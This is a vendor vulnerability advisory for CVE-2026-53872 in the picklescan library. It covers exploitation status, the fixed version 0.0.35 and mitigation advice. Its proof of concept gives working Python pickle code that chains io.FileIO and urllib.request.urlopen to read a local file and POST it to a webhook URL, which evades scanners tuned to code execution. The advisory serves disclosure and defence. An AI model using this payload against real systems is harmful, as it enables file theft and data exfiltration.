CVE-2026-53872 — picklescan
Fix: mmaitre314/picklescan#55CVE-2026-53872 is a Path Traversal vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
picklescan - Arbitrary File Read via Unsafe Pickle Deserialization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-53872.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.35pip install --upgrade 'picklescan==0.0.35' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-53872 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-53872 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-53872. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-53872 in your dependencies?
O3 Security finds CVE-2026-53872 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.